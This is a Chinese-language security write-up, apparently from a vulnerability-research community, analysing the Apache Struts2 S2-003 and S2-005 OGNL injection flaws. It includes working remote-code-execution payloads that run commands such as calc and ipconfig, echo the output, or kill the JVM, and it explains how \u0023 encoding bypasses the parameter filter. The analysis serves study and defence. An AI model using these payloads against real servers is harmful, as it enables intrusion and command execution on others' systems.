阿里先知安全社区：【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

S2-003

漏洞信息

漏洞信息页面： https://cwiki.apache.org/confluence/display/WW/S2-003

漏洞成因官方概述：XWork ParameterInterceptors bypass allows OGNL statement execution

漏洞影响：

环境搭建

s2-003漏洞的payload用到了特殊字符，在高版本tomcat中会失败，需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2

漏洞利用

POC:

1	('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

回显：

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

漏洞分析

在struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:177 获取到我们传入的参数

在getValueStack之前，执行了一些初始化操作，比如：

1	OgnlContextState.setDenyMethodExecution(contextMap, true);

将xwork.MethodAccessor.denyMethodExecution设置为true。为了能够调用方法，需要在poc中的第一部分将denyMethodExecution设置为false，之后才能任意代码执行。

跟入setParameters(action, stack, parameters);至 struts/struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:201。此部分开始通过迭代器取出一个个传入的参数，并进行处理。

假设此时我传入的参数如下，注意这个与poc的不同在于，我将第一个\u0023替换成了#。：

1	('#context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

跟入acceptableName至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:271

protected boolean acceptableName(String name) {
    if (isAccepted(name) && !isExcluded(name)) {
        return true;
    }
    return false;
}

跟入isAccepted(name)

这里通过简单的正则表达式[\p{Graph}&&[^,#:=]]*来检测，防止传入恶意特殊字符开头如#等。因此acceptableName返回false，接下来的ognl表达式自然也不会执行了。

if (acceptableName) {
    Object value = entry.getValue();
    ...
}

但如果传入经过编码后的payload。#对应的unicode为\u0023，八进制为\43，则可以绕过上述的检测，也即导致acceptableName为true，从而进一步执行。

在设置denyMethodExecution为false后，poc的第二部分就是通过方法调用来执行任意命令了：

1	('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

S2-005

漏洞信息

漏洞信息页面： https://cwiki.apache.org/confluence/display/WW/S2-005

漏洞成因官方概述：XWork ParameterInterceptors bypass allows remote command execution

漏洞影响：

漏洞分析

S2-005的出现时因为官方对S2-003的修补的不完全导致的。官方通过增加安全配置禁止静态方法调用（allowStaticMethodAcces）和类方法执行（MethodAccessor.den
yMethodExecution）等来修补。但同样的直接使用上面的技巧，更改poc为：

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

即可设置allowStaticMethodAccess为true，和denyMethodExecution为false，从而导致任意命令执行。可以参考Struts2漏洞分析与研究之S2-005漏洞分析和CVE-2010-1870: Struts2/XWork remote command execution。其余的代码调用等，与S2-003相同，分析见上。

ognl的解析

一个问题，为什么\u0023形式的poc能够被解析呢？
https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20180507/8.png?raw=true

跟入setValue 至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java:170

跟入OgnlUtil.setValue,struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java:185

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public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
    Ognl.setValue(compile(name), context, root, value);
}

此处name即我们传入的参数(\u0023...，跟入compile中的o = Ognl.parseExpression(expression);:

public static Object parseExpression( String expression ) throws OgnlException
{
    try {
        OgnlParser parser = new OgnlParser( new StringReader(expression) );
        return parser.topLevelExpression();
    }

从topLevelExpression就开始了进行语法分析工作。在获得(的token为44后，接着进行expression();的解析。

在其中会调用到 ognl/JavaCharStream.java 的readChar。其中代码摘取部分如下：

public char readChar() throws java.io.IOException
{
    ...
    char c;
    if ((buffer[bufpos] = c = ReadByte()) == '\\')
    {
    ...
    int backSlashCnt = 1;
    for (;;) // Read all the backslashes
    {
        try
        {
            if ((buffer[bufpos] = c = ReadByte()) != '\\')
            {
                UpdateLineColumn(c);
                // found a non-backslash char.
                if ((c == 'u') && ((backSlashCnt & 1) == 1))
                {
                if (--bufpos < 0)
                    bufpos = bufsize - 1;
                break;
                }
                backup(backSlashCnt);
                return '\\';
            }
        }
        ...
    }

读取\，并在之后如果遇到了u则进一步处理：

从而把\u0023转换成了#。之后执行ognl表达式时即执行"#context[\'xwork.MethodAccessor.denyMethodExecution\']=false"